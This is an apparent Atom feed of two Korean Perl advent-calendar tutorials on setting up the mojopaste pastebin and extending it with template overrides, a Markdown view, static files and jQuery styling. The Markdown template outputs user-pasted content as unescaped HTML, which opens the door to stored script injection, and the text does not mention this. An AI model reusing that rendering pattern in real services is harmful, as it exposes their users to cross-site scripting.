Seoul.pm Perl Advent Calendarhttp://advent.perl.kr/2016/2017-01-12T18:42:48+09:00Keedi KimXML::Atom::SimpleFeedHacking mojopastehttp://advent.perl.kr/2016/2016-12-23.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>지난 기사인 <a href="http://advent.perl.kr/2016/2016-12-22.html">스물두번째 날: 나만의 pastebin</a>에서는
<a href="https://en.wikipedia.org/wiki/Pastebin">pastebin</a>이 무엇인지 간단히 알아보고,
<a href="http://mojolicious.org/">Mojolicious</a> 기반의 pastebin 웹응용인
<a href="https://metacpan.org/pod/App::mojopaste">CPAN의 App::mojopaste 모듈</a>을 사용해
개인 서버에 설치하고 실행하는 방법을 알아보았습니다.
무엇보다 Perl은 오픈소스이면서, 매우 유연한만큼,
Perl 모듈들도 그 철학을 그대로 따라가 확장성이 뛰어납니다.
Mojolicious 역시 마찬가지인데, Mojolicious와 <code>App::mojopaste</code> 모듈의
내부 구조를 적극 활용해 기능을 더욱 확장하는 해킹을 해볼까합니다.
<a href="http://advent.perl.kr/2016/2016-12-22.html">지난 기사</a>에서 <code>mojopaste</code>를 메모장처럼
사용할 수 있는 기법을 소개했는데, 이 기능에서 조금 더 발전시켜,
평문을 마크다운 형식으로 변환해 미려하게 보여주도록 확장하면 꽤 유용하겠죠?
자, 준비되셨나요? :)</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/App::mojopaste">CPAN의 App::mojopaste 모듈</a></li>
<li><a href="https://metacpan.org/pod/File::Which">CPAN의 File::Which 모듈</a></li>
<li><a href="https://metacpan.org/pod/Text::MultiMarkdown">CPAN의 Text::MultiMarkdown 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
App::mojopaste \
File::Which \
Text::MultiMarkdown
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
App::mojopaste \
File::Which \
Text::MultiMarkdown
</pre>
<h2>메뉴 추가</h2>
<p>우선 <code>mojopaste</code>를 실행해볼까요?
<code>8080</code> 포트에서 차트 기능을 활성화 시킨 상태로 실행하는 명령은 다음과 같습니다.</p>
<pre class="brush: bash;">
$ PASTE_ENABLE_CHARTS=1 mojopaste daemon -l http://*:8080
[Thu Dec 22 19:21:54 2016] [info] Listening at "http://*:8080"
Server available at http://127.0.0.1:8080
...
</pre>
<p>브라우저로 접속해서 예제로 사용할 마크다운 문서를 하나 저장하죠.</p>
<p><img src="2016-12-23-1_r.png" alt="예제 문서 저장" id="" />
<em>그림 1.</em> 예제 문서 저장 (<a href="2016-12-23-1.png">원본</a>)</p>
<p>제 경우 저장한 마크다운 문서의 아이디는 <code>bd42c5bb8ff2</code>가 되었군요.</p>
<p><img src="2016-12-23-2_r.png" alt="예제 마크다운 문서" id="" />
<em>그림 2.</em> 예제 마크다운 문서 (<a href="2016-12-23-2.png">원본</a>)</p>
<p><code>http://localhost:8080/bd42c5bb8ff2</code>으로 접속하면 웹 응용은 뷰어 모드로 전환되어
저장한 내용을 보여주는데 이 때 상단 메뉴는 다음과 같은 기능을 보여줍니다.</p>
<ul>
<li><strong>New</strong>: 새로 만들기</li>
<li><strong>Edit</strong>: 현재 문서 수정</li>
<li><strong>Raw</strong>: 평문</li>
<li><strong>Graph</strong>: 그래프 보기</li>
</ul>
<p>새로 만들기나 현재 문서 수정 기능은 글자 그대로의 기능입니다.
<strong>Raw</strong>의 경우 조금 의아할 수 있는데, 현재 보여주는 내용의 경우
상단에 헤더도 있고, 왼쪽에 줄번호도 있으며,
글 내용도 약간의 문법 강조가 되어있는 등 입력한 그대로 보여지는 것이 아닙니다.
<strong>Raw</strong> 기능은 말 그대로 입력한 그대로, 즉 평문을 보여주는 것입니다.
<strong>Graph</strong>는 CSV 형식일 때만 제대로 보여주니까 지금은 별로 상관이 없습니다.</p>
<p>우리는 새로운 기능을 추가할 것이므로 상단의 메뉴에 보이는 기존 항목과 동일하게
<strong>Graph</strong> 옆에 <strong>Markdown</strong>처럼 메뉴를 추가하면 좋겠네요.
음... 어떻게 해야할까요?
Perl과 <a href="http://mojolicious.org/">Mojolicious</a>에 아무런 지식이 없다면 조금 당황스러울 수 있습니다.
기본적으로 Perl의 대부분의 모듈은 제법 체계적으로
이름 공간 침범이 가능하기 때문에 이런 기법을 사용할 수도 있지만,
Mojolicious 자체가 워낙 확장성이 좋기 때문에 기존 웹 응용의 코드를
최대한 살리면서 필요한 부분만 덮어쓴(override)다거나, 부족한 부분을 추가할 수 있습니다.
우선 다른 모든 기능을 제외하고 메뉴를 추가하는 부분에만 집중해보죠. :)
가장 먼저 작성해야 할 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use Mojo::Server;
use File::Which;
my $mojopaste = File::Which::which("mojopaste");
my $server = Mojo::Server->new;
my $app = $server->load_app($mojopaste);
$app->start;
</pre>
<p>아니 <code>mojopaste</code>가 있는데 왠 스크립트일까요?
우리는 기존 <code>mojopaste</code> 기능은 그대로 계승하면서 추가적으로 기능을 수정하거나 더하려고 합니다.
이 때 사용하는 것이 <a href="https://metacpan.org/pod/Mojo::Server">Mojo::Server 모듈</a>입니다.
<code>Mojo::Server</code> 모듈을 이용해 Mojolicious 웹 응용을 그대로 읽어 들인 후
이 웹 응용을 Mojolicious 웹 응용을 작성할 때처럼 <code>$app</code>에 저장할 수 있습니다.
이렇게 <code>$app</code>에 불러오고 나면 그 뒤로는 얼마든지 원하는 동작을 수정하거나 추가할 수 있겠죠.
<a href="https://metacpan.org/pod/File::Which">File::Which 모듈</a>을 이용해 <code>mojopaste</code> 스크립트의 절대 경로를 찾은 후
<code>Mojo::Server</code> 모듈의 <code>load_app()</code> 메소드의 인자로 넘겨줍니다.
<code>File::Which</code> 모듈을 사용하지 않는다면 직접 해당 스크립트의 경로를 확인해야겠죠.
이런 기법을 사용하면 시스템에 이미 존재하는 모듈과 스크립트를 지저분하게
손대지 않으면서도 사용자 영역에서 필요한 부분만 수정할 수 있어 유지보수 측면에서 유리합니다.
이제 <code>mojopaste</code> 대신 새로 만든 <code>my-mojopaste.pl</code> 스크립트를 실행해보죠.</p>
<pre class="brush: bash;">
$ PASTE_ENABLE_CHARTS=1 ./my-mojopaste.pl daemon -l http://*:8080
[Thu Dec 22 19:56:08 2016] [info] Listening at "http://*:8080"
Server available at http://127.0.0.1:8080
...
</pre>
<p>Mojolicious에서 화면에 보여지는 부분은 렌더러가 담당합니다.
렌더러가 템플릿이란 개체를 원하는 형식(HTML, 텍스트, JSON 등)으로 렌더링하면,
브라우저는 이 내용을 적절하게 화면에 뿌려주는 것이죠.
즉, 지금처럼 이미 존재하는 페이지를 수정하려면 해당 페이지 템플릿을 수정해야겠죠.
더불어 수정한 템플릿을 적용하도록 Mojolicious에게 알려주어야 하므로
렌더러에게 그 사실을 통지할 필요도 있을테구요.
<code>mojopaste</code>에서 우리가 수정하려는 템플릿의 이름은 <code>show.html.ep</code>입니다.
메뉴에 <strong>Foo</strong>와 <strong>Bar</strong>, <strong>Baz</strong> 세 개의 메뉴를 추가하도록
템플릿을 수정하는 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
...
$app->start;
__DATA__
@@ show.html.ep
% if ($embed =~ /nav/) {
<nav>
%= link_to 'New', 'pastebin', class => 'btn'
%= link_to 'Edit', url_for('pastebin')->query(edit => $paste_id), class => 'btn'
%= link_to 'Raw', url_for('show', paste_id => $paste_id, format => 'txt'), class => 'btn'
%= link_to 'Graph', url_for('chart'), class => 'btn' if $enable_charts
%= link_to 'Foo', url_for('foo'), class => 'btn'
%= link_to 'Bar', url_for('bar'), class => 'btn'
%= link_to 'Baz', url_for('bar'), class => 'btn'
%= include 'powered_by'
</nav>
% }
<pre class="prettyprint linenums"><%= $error || $paste %></pre>
</pre>
<p>어라? 기대와는 다르게 웹 응용을 다시 재구동 시켜서 확인해도 메뉴가 추가되지 않았을 것입니다.
이는 이미 <code>mojopaste</code>를 최초 적재시키는 시점에 <code>show.html.ep</code> 템플릿을 읽어들여
내부 자료구조에 이미 저장하고 있기 때문에 우리가 새로 추가한 <code>DATA</code> 섹션의 템플릿이
전혀 영향을 끼치지 못하고 있어 나타나는 현상입니다.
이 문제를 해결하기 위해선 렌더러로 하여금 현재 우리가 지정하는 템플릿을 우선해서 읽어들이도록 해야겠죠.
<code>$app->renderer</code>의 <code>classes</code> 멤버에 접근해 현재 스크립트 소스 코드의
<code>DATA</code> 섹션을 우선시 하도록 <code>main</code> 클래스를 제일 앞에 추가하면 해결할 수 있습니다.</p>
<pre class="brush: perl;">
...
my $server = Mojo::Server->new;
my $app = $server->load_app($mojopaste);
unshift @{ $app->renderer->classes }, "main";
$app->start;
__DATA__
...
</pre>
<p>어떤가요? 이제 메뉴가 잘 추가된 것 같죠? :)</p>
<p><img src="2016-12-23-3_r.png" alt="메뉴 추가" id="" />
<em>그림 3.</em> 메뉴 추가 (<a href="2016-12-23-3.png">원본</a>)</p>
<p>방금은 편의를 위해 <code>DATA</code> 섹션을 이용했지만,
필요하다면 템플릿 디렉터리를 지정해서 처리할 수도 있습니다.
템플릿은 다음과 같은 디렉터리 구조로 구성합니다.</p>
<pre class="brush: bash;">
$ tree templates/
templates/
└── show.html.ep
0 directories, 1 file
$
</pre>
<p>역시 앞선 예제와 마찬가지로 이번에도 메뉴의 변경 내역이 적용되지 않습니다.
<code>$app->renderer</code>의 <code>pathes</code> 멤버에 접근해 현재 디렉터리 하부의
<code>templates</code> 디렉터리를 우선해서 템플릿 디렉터리로 탐색하도록 해야합니다.</p>
<pre class="brush: perl;">
...
my $mojopaste = File::Which::which("mojopaste");
my $server = Mojo::Server->new;
my $app = $server->load_app($mojopaste);
unshift @{ $app->renderer->paths }, "./templates";
$app->start;
</pre>
<p>템플릿의 수정과 렌더러의 세밀한 조작을 통해 화면에 보이는 부분은 수정에 성공했습니다.
우선 테스트 삼아 넣은 메뉴를 수정해서 <strong>Markdown</strong> 항목을 추가하죠.
편의를 위해 템플릿은 <code>DATA</code> 섹션을 이용합니다.</p>
<pre class="brush: perl;">
...
my $server = Mojo::Server->new;
my $app = $server->load_app($mojopaste);
unshift @{ $app->renderer->classes }, "main";
$app->start;
__DATA__
@@ show.html.ep
% if ($embed =~ /nav/) {
<nav>
%= link_to 'New', 'pastebin', class => 'btn'
%= link_to 'Edit', url_for('pastebin')->query(edit => $paste_id), class => 'btn'
%= link_to 'Raw', url_for('show', paste_id => $paste_id, format => 'txt'), class => 'btn'
%= link_to 'Graph', url_for('chart'), class => 'btn' if $enable_charts
%= link_to 'Markdown', url_for('markdown'), class => 'btn'
%= include 'powered_by'
</nav>
% }
<pre class="prettyprint linenums"><%= $error || $paste %></pre>
</pre>
<h2>라우트 주소 추가</h2>
<p>이제 실제로 클릭했을 때 원하는 동작이 수행되게 하는 일이 남았네요.
원래 기능이 아닌 추가하는 기능인 만큼 그래프(차트) 기능과 마찬가지로
사용자가 설정을 통해 해당 기능의 사용 여부를 선택할 수 있으면 좋을 것 같습니다.
환경 변수와 설정 양쪽 모두를 지원하도록 해보죠.</p>
<pre class="brush: perl;">
...
use Mojolicious::Lite;
use Mojo::Server;
...
plugin 'config' if $ENV{MOJO_CONFIG};
$app->defaults( enable_markdown => app->config('enable_markdown')
// $ENV{PASTE_ENABLE_MARKDOWN} );
if ( $app->defaults('enable_markdown') ) {
$app
->routes
->get('/:paste_id/markdown')
->to( cb => sub { ... } )
->name('markdown')
;
}
$app->start;
__DATA__
@@ show.html.ep
...
%= link_to 'Markdown', url_for('markdown'), class => 'btn' if $enable_markdown
...
</pre>
<p>기존 <code>mojopaste</code>의 기본값을 그대로 활용하기 위해 <code>defaults()</code> 메소드와,
설정 값을 활용하기 위해 <code>plugin()</code> 헬퍼와 <code>config</code> 플러그인을 사용합니다.
이 기능을 사용하려면 <code>Mojolicious::Lite</code> 모듈을 적재해야합니다.
마크다운 기능이 활성화 되었을 때만 라우트를 등록하도록 <code>if (...)</code> 구문으로
둘러싸고 템플릿 쪽에도 마찬가지로 마크다운 활성화 여부를 체크하도록 합니다.</p>
<p>실제 마크다운 기능이 활성화 되었을 때 동작할 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
if ( $app->defaults('enable_markdown') ) {
$app->routes->get('/:paste_id/markdown')->to(
cb => sub {
my $c = shift;
$c->delay(
sub { $c->paste( $c->stash('paste_id'), shift->begin ) },
sub {
my ( $delay, $err, $paste ) = @_;
if ( $err or !$paste ) {
$c->no_such_paste( $err || 'Could not find paste' );
}
else {
$c->res->headers->header(
'X-Plain-Text-URL' => $c->url_for( format => 'txt' )->userinfo(undef)->to_abs );
$c->stash( embed => $c->param('embed') ) if $c->param('embed');
$c->render( layout => 'mojopaste', paste => $paste );
}
},
);
}
)->name('markdown');
}
</pre>
<p>마크다운을 보여주기 위해 추가한 라우트 컨트롤러에 적절한 템플릿도 추가해야겠죠.</p>
<pre class="brush: perl;">
__DATA__
@@ show.html.ep
...
@@ markdown.html.ep
% if ($embed =~ /nav/) {
<nav>
%= link_to 'New', 'pastebin', class => 'btn'
%= link_to 'Edit', url_for('pastebin')->query(edit => $paste_id), class => 'btn'
%= link_to 'Data', url_for('show', paste_id => $paste_id), class => 'btn'
%= include 'powered_by'
</nav>
% }
% if ($error) {
<pre class="prettyprint linenums"><%= $error %></pre>
% }
% else {
% use Text::MultiMarkdown;
<article>
<%== Text::MultiMarkdown::markdown($paste) %>
</article>
% }
</pre>
<p>마크다운 기능을 활성화 시켜서 실행하는 명령은 다음과 같습니다.</p>
<pre class="brush: bash;">
$ PASTE_ENABLE_CHARTS=1 PASTE_ENABLE_MARKDOWN=1 ./my-mojopaste.pl daemon -l http://*:8080
[Thu Dec 22 20:36:06 2016] [info] Listening at "http://*:8080"
Server available at http://127.0.0.1:8080
...
</pre>
<p>이제 <code>http://.../bd42c5bb8ff2/markdown</code>으로 접속하면 현재 문서를 마크다운으로
인지한 후 적절하게 구조화된 HTML로 렌더링된 화면을 확인할 수 있습니다. :)</p>
<p><img src="2016-12-23-4_r.png" alt="마크다운 렌더링" id="" />
<em>그림 4.</em> 마크다운 렌더링 (<a href="2016-12-23-4.png">원본</a>)</p>
<h2>그림 파일 적재</h2>
<p>어이쿠! 그런데 그림 파일을 링크했는데 제대로 보이지 않는군요.
외부 링크일 경우 문제될 것이 없지만 내부 링크일 경우 지금 상태에서는 보여줄 방법이 없습니다.
정적 파일의 경우 <code>mojopaste</code>에서 따로 막고 있는 부분은 없기 때문에
Mojolicious의 기본 정적 파일 처리 기능을 적극 활용해서 문제를 해결할 수 있습니다.
코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
...
my $server = Mojo::Server->new;
my $app = $server->load_app($mojopaste);
unshift @{ $app->renderer->classes }, "main";
push @{ $app->static->paths }, "./public";
...
</pre>
<p><code>$app->static</code>을 이용해 웹 응용의 스태틱 개체의 <code>paths</code> 속성에 접근해서
현재 디렉터리 하부의 <code>public</code> 디렉터리를 추가적으로 열람하도록 수정합니다.
<code>unshift</code>를 이용해서 우선적으로 열람하도록 해도 상관없으나,
템플릿 때와는 달리 딱히 우선해서 적용해야 하는 것은 아니므로
<code>push</code>를 이용해서 정적 파일 열람 디렉터리 목록에 추가합니다.
이제 현재 디렉터리를 다음과 같이 구성합니다.</p>
<pre class="brush: bash;">
$ tree public/
public/
└── imgs
├── 2016-12-22-1.png
├── 2016-12-22-1_r.png
├── 2016-12-22-2.png
└── 2016-12-22-2_r.png
1 directory, 4 files
$
</pre>
<p>짠! 다시 접속하면 그림 파일도 잘 보이는 것을 확인할 수 있습니다.</p>
<p><img src="2016-12-23-5_r.png" alt="정적 파일 렌더링" id="" />
<em>그림 5.</em> 정적 파일 렌더링 (<a href="2016-12-23-5.png">원본</a>)</p>
<h2>크리스마스 선물</h2>
<p>이제 여러분은 간단한 메모장으로써 역할을 할 수 있는 사설 pastebin은 물론,
기록한 내용을 마크다운 변환을 통해 구조화된 HTML로 확인도 할 수 있습니다.
이 정도면 기능적으로는 다 마무리 되었지만, 이왕이면 다홍치마겠죠?
약간의 자바스크립트와 CSS를 활용해 <code>mojopaste</code>를 다홍색으로 물들여보죠. :)</p>
<pre class="brush: perl;">
@@ markdown.html.ep
% if ($embed =~ /nav/) {
<nav>
%= link_to 'New', 'pastebin', class => 'btn'
%= link_to 'Edit', url_for('pastebin')->query(edit => $paste_id), class => 'btn'
%= link_to 'Data', url_for('show', paste_id => $paste_id), class => 'btn'
%= include 'powered_by'
</nav>
% }
% if ($error) {
<pre class="prettyprint linenums"><%= $error %></pre>
% }
% else {
% use Text::MultiMarkdown;
% my $markdown = Text::MultiMarkdown::markdown($paste);
% #$markdown =~ s/<pre><code>/<pre class="prettyprint linenums"><code>/gms;
% $markdown =~ s{<pre><code>#!\w*}{<pre class="prettyprint linenums">}gms;
% $markdown =~ s{</code></pre>}{</pre>}gms;
<article>
<%== $markdown %>
</article>
<script src="https://code.jquery.com/jquery-3.1.1.slim.min.js" integrity="sha256-/SIrNqv8h6QGKDuNoLGA4iret+kyesCkHGzVUUV0shc=" crossorigin="anonymous"></script>
<script type="text/javascript">
(function() {
$(function() {
$('head').append( $('<link rel="stylesheet" type="text/css" />').attr('href', '//fonts.googleapis.com/earlyaccess/notosanskr.css') );
$('article, article a')
.css('font-family', '"Noto Sans", "Noto Sans KR", sans-serif')
;
$('article h1')
.css('background', '#628e9c')
.css('color', 'white')
.css('font-size', '3em')
.css('padding', '60px 0 60px 0')
.css('text-align', 'center')
.css('text-shadow', '-1px -1px 0 #444, 1px -1px 0 #444, -1px 1px 0 #444, 1px 1px 0 #444')
;
$('article li')
.css('font-size', '0.9em')
.css('margin', '0 80px')
.css('padding', '5px')
;
$('article p')
.css('padding', '0 20px')
;
$('article p img')
.css('border', 'solid black 1px')
.css('display', 'block')
.css('height', '380px')
.css('margin', '0 auto')
.css('width', '500px')
;
$('article code')
.css('background-color', '#fffbcc')
.css('padding', '4px')
;
$('article pre.prettyprint')
.css('border', 'dotted black 1px')
.css('font-size', '0.9em')
.css('margin', '0 80px')
.css('padding', '10px')
.css('white-space', 'pre-wrap') /* Since CSS 2.1 */
.css('white-space', '-moz-pre-wrap') /* Mozilla, since 1999 */
.css('white-space', '-pre-wrap') /* Opera 4-6 */
.css('white-space', '-o-pre-wrap') /* Opera 7 */
.css('word-wrap', 'break-word') /* Internet Explorer 5.5+ */
;
$('article pre.prettyprint li')
.css('font-family', 'Monospace')
.css('font-size', '0.9em')
.css('margin', '0 0 0 14px')
.css('padding', '0')
;
$('article p img').parent()
.css('text-align', 'center')
;
$('article table + p')
.css('text-align', 'center')
;
});
}).call(this);
</script>
% }
</pre>
<p>호오~ 이제 정말 끝난 것 같군요. ;-)</p>
<p><img src="2016-12-23-6_r.png" alt="pastebin은 다홍치마를 입고..." id="pastebin..." />
<em>그림 6.</em> pastebin은 다홍치마를 입고... (<a href="2016-12-23-6.png">원본</a>)</p>
<h2>정리하며</h2>
<p>지금까지 여러분만의 pastebin을 구축할 수 있게 도와주는 <code>mojopaste</code>를 이용해
메뉴를 추가하기 위해 템플릿을 덮어쓰고(override)나,
원하는 기능을 추가하기 위해 컨트롤러와 템플릿을 추가하는 과정을 살펴보았습니다.
사실 "<code>mojopaste</code>를 해킹하자!"라는 모토로 시작한 기사지만 정확히는
<a href="http://mojolicious.org/">Mojolicious</a> 웹 프레임워크의 해킹에 가깝습니다.
단순히 Mojolicious 웹 응용을 만드는 과정에 비해 조금 난이도가 있습니다만,
이런 과정을 통해 Mojolicious에 대해 더욱 자세하고 정확하게 이해하는 계기가 되었으면 합니다.
무엇보다 이런 해킹이 얼마든지 공식적으로 가능하다는 점이,
Perl과 그 생태계가 프로그래머에게 안겨주는 큰 자유가 아닐까요? ;-)</p>
<p><em>EOT</em></p>
2016-12-23T00:00:00+09:00keedi나만의 pastebinhttp://advent.perl.kr/2016/2016-12-22.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p><a href="https://en.wikipedia.org/wiki/Pastebin">pastebin</a>이란 일반 문자열(평문, plain text)을 저장하는 웹 응용을 통칭합니다.
pastebin 서비스는 <a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a>에서 널리 사용되었습니다.
보통 IRC 사용자들은 채팅창에 긴 문자열을 붙여 넣는 것을 비매너로 간주하기 때문에,
사용자들 끼리 소스 코드 검토하거나, 긴 문자열을 서로 공유하는 용도로 많이 써왔죠.
이런 pastebin 서비스 중 가장 오래되고 유명한 것이 <a href="http://pastebin.com">pastebin.com</a>이며,
<a href="https://gist.github.com/">GitHub의 Gist</a> 역시 최근 널리 쓰이고 있습니다.
꼭 IRC에서 사용하기 위해서는 아니더라도, 사람들하고 공유할 소스 코드라던가
또는 기사 거리라던가 심지어 메모용으로라도 pastebin을 사용하면 꽤 편리합니다.
Perl과 함께라면 여러분의 컴퓨터 위에서 pastebin 서비스도 독자적으로 구축할 수 있답니다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/App::mojopaste">CPAN의 App::mojopaste 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan App::mojopaste
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan App::mojopaste
</pre>
<h2>서버 실행</h2>
<p><code>App::mojopaste</code> 모듈은 실행 파일 <code>mojopaste</code>를 제공하므로,
설치 후 명령줄에서 <code>mojopaste</code> 명령을 이용해 바로 웹 응용을 실행할 수 있습니다.</p>
<pre class="brush: bash;">
$ mojopaste daemon
[Wed Dec 21 17:45:41 2016] [info] Listening at "http://*:3000"
Server available at http://127.0.0.1:3000
...
</pre>
<p>서비스를 종료하려면 명령줄에서 <code>Control + C</code>를 입력하면 됩니다.
아무런 포트 지정없이 실행하면 기본 포트 <code>3000</code>번을 사용합니다.
브라우저로 접속해볼까요?</p>
<p><img src="2016-12-22-1_r.png" alt="mojopaste!" id="mojopaste" />
<em>그림 1.</em> mojopaste! (<a href="2016-12-22-1.png">원본</a>)</p>
<p><code>App::mojopaste</code>는 Perl의 웹 응용 프레임워크인 <a href="http://mojolicious.org/">Mojolicious</a>를
이용해서 제작된 웹 응용이니 만큼 <code>morbo</code> 명령의 명령줄 옵션을 모두 사용할 수 있습니다.
예를 들어 별도의 포트로 실행하려면 <code>-l</code> 또는 <code>--listen</code> 옵션을 이용해 리슨 포트를 지정합니다.
다음은 <code>8080</code> 포트로 웹 응용을 실행시키는 방법입니다.</p>
<pre class="brush: bash;">
$ mojopaste daemon -l http://*:8080
[Wed Dec 21 17:52:19 2016] [info] Listening at "http://*:8080"
Server available at http://127.0.0.1:8080
...
</pre>
<p>특별히 설정하지 않고 기본 값으로 동작시키면 <code>mojopaste</code>는 서버를 실행시킨
현재 디렉터리의 하부에 <code>paste</code> 디렉터리를 생성한 다음 파일을 저장합니다.
웹 응용을 통해 평문을 파일로 저장할 디렉터리를 지정하려면 <code>PASTE_DIR</code> 환경 변수를 이용합니다.</p>
<pre class="brush: bash;">
$ PASTE_DIR=/tmp/askdna/paste mojopaste daemon -l http://*:8080
[Wed Dec 21 18:53:16 2016] [info] Listening at "http://*:8080"
Server available at http://127.0.0.1:8080
...
</pre>
<h2 id="csv">CSV와 그래프</h2>
<p><code>App::mojopaste</code> 모듈은 CSV 자료를 저장할 경우 <a href="http://morrisjs.github.io/morris.js/">morris.js</a>
라이브러리와 연동해 선 그래프로 보여주는 기능을 제공합니다.
사실 원래는 JSON 형식의 자료를 그래프로 보여주는 기능도 지원했기 때문에
더욱 다양하게 <a href="http://morrisjs.github.io/morris.js/">morris.js</a> 라이브러리의 기능을 쓸 수 있었지만,
0.22 버전 부터는 CSV에 한해서 그래프로 변환하도록 다운그레이드 되었습니다.
아마도 보안 문제나, 예외 처리와 관련한 이슈 때문이 아닌가 싶지만 아쉬운 부분입니다.
그래프 기능은 기본으로 비활성화되어 있으므로 활성화시키기 위해
실행 시점에 <code>PASTE_ENABLE_CHARTS</code> 환경 변수를 사용합니다.</p>
<pre class="brush: bash;">
$ PASTE_ENABLE_CHARTS=1 mojopaste daemon -l http://*:8080
[Wed Dec 21 18:53:16 2016] [info] Listening at "http://*:8080"
Server available at http://127.0.0.1:8080
...
</pre>
<p>그래프가 정말 되는지 확인해보기 위해 다음과 같은 CSV 형태 자료를 저장해보죠.</p>
<pre class="brush: plain;">
# 대통령 직무 수행 평가 - 2016년 최근 20주 (한국갤럽)
"100분률","잘하고 있다(직무 긍정률, %)","잘못하고 있다(직무 부정률, %)"
"2016 W28",32,54
"2016 W29",32,55
"2016 W30",31,55
"2016 W31",33,52
"2016 W32",33,53
"2016 W33",33,54
"2016 W34",30,57
"2016 W35",30,55
"2016 W36",33,56
"2016 W37",31,56
"2016 W38",30,56
"2016 W39",29,57
"2016 W40",26,59
"2016 W41",25,64
"2016 W42",17,74
"2016 W43",5,89
"2016 W44",5,90
"2016 W45",5,90
"2016 W46",4,93
"2016 W47",4,91
</pre>
<p>CSV 형태의 문자열을 저장한 뒤 <strong>Graph</strong> 메뉴를 클릭하면
해당 CSV 자료를 그래프로 표현해줍니다.</p>
<p><img src="2016-12-22-2_r.png" alt="CSV 자료의 그래프화" id="csv" />
<em>그림 2.</em> CSV 자료의 그래프화 (<a href="2016-12-22-2.png">원본</a>)</p>
<p>짜잔! :-)</p>
<h2>설정 파일</h2>
<p><code>mojopaste</code>는 <a href="http://mojolicious.org/">Mojolicious</a> 기반 웹 응용이기 때문에 설정 파일을 지원합니다.
<code>mojopaste</code>는 저장 위치와 그래프 사용 여부 두 가지 항목만 설정할 수 있기 때문에
설정 파일 형식은 매우 간단합니다.
다음은 설정 파일의 한 예입니다.</p>
<pre class="brush: bash;">
$ cat mojopaste.conf
{
paste_dir => '/path/to/paste/dir',
enable_charts => 1, # default is 0
}
$
</pre>
<h2>크리스마스 선물</h2>
<p><code>mojopaste</code>는 업로드하는 평문을 각각 파일로 저장합니다.
이 때 12자리의 임의의 문자열을 생성해서 파일의 이름을 결정합니다.
이름을 생성하는 부분의 내부 코드를 살펴보면 다음과 같습니다.</p>
<pre class="brush: perl;">
my $id = substr Mojo::Util::md5_sum($$ . time . $ID++), 0, 12;
</pre>
<p>코드를 간단히 설명하면, <code>mojopaste</code> 웹 응용을 실행하고 있는 프로세스 번호와
현재 시간, 그리고 해당 프로세스가 생성한 문서 개수를 합친 문자열의
MD5 해시합을 구한 다음 이 문자열의 앞 12자리를 추출해서 파일 이름으로 사용하는 것입니다.
즉 <code>4fee8f76edf4</code>와 같은 식의 파일이 생성되는 것이죠.
더불어 <code>mojopaste</code>가 각각의 문서를 접근할 때 파일 이름에 해당하는 ID를 점검하는 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
if (!$id or $id =~ m!\W!) {
return $c->$cb("Hacking attempt! paste_id=($id)", "");
}
</pre>
<p>ID가 정규 표현식 기준 <code>\W</code>에 해당하는 문자가 있으면 적절하지 않은 ID로 판단한다는 의미입니다.
다시말해 ID가 <code>\w</code>로만 이루어져 있다면, 어떤 형식이든 아무 문제가 없다는 것이겠죠.
즉, <code>mojopaste</code>의 경우 <code>paste_dir</code> 디렉터리 하부에 <code>HelloWorld</code>라는 파일명을 가진
텍스트 파일을 저장하면 <code>http://localhost:8080/HelloWorld</code>와 같은 식으로 접근이 가능합니다.
내부 구현과 관련되어 업데이트에 영향을 받을 수는 있는 모르는 사람이 많은 기능입니다만,
적절하게 활용한다면 꽤 유용할 것 같지 않나요?</p>
<h2>정리하며</h2>
<p><code>daemon</code> 명령을 이용해 기본으로 띄운 서버는 <a href="http://mojolicious.org/">Mojolicious</a>의 개발 테스트용 서버입니다.
따라서 더 향상된 성능으로 서비스하려면,
<a href="http://plackperl.org/">PSGI/Plack</a> <a href="https://metacpan.org/pod/Mojo::Server::Hypnotoad">hypnotoad</a> 등의 기법을 사용해야 합니다.
더불어 기본적으로는 인증을 지원하지 않으므로, 허가된 사용자만 접근하기를 원한다면,
웹서버와 리버스 프록시로 연결한 후 <a href="https://en.wikipedia.org/wiki/Basic_access_authentication">기본 인증(Basic Auth)</a>을 붙인다던가,
Plack으로 인증, 또는 Mojolicious로 인증을 붙인다던가 등의 작업이 필요합니다.
또한, 웹 응용이 지속적으로 동작하도록 보장하기 위해 사활 관리도 필요하겠죠.
<code>mojopaste</code>를 잘 활용하면, 단순히 pastebin 서비스를 뛰어넘어
자신의 간단한 메모장 뿐만 아니라 다양한 용도로도 충분히 활용 가능하겠죠? ;-)</p>
<p><em>EOT</em></p>
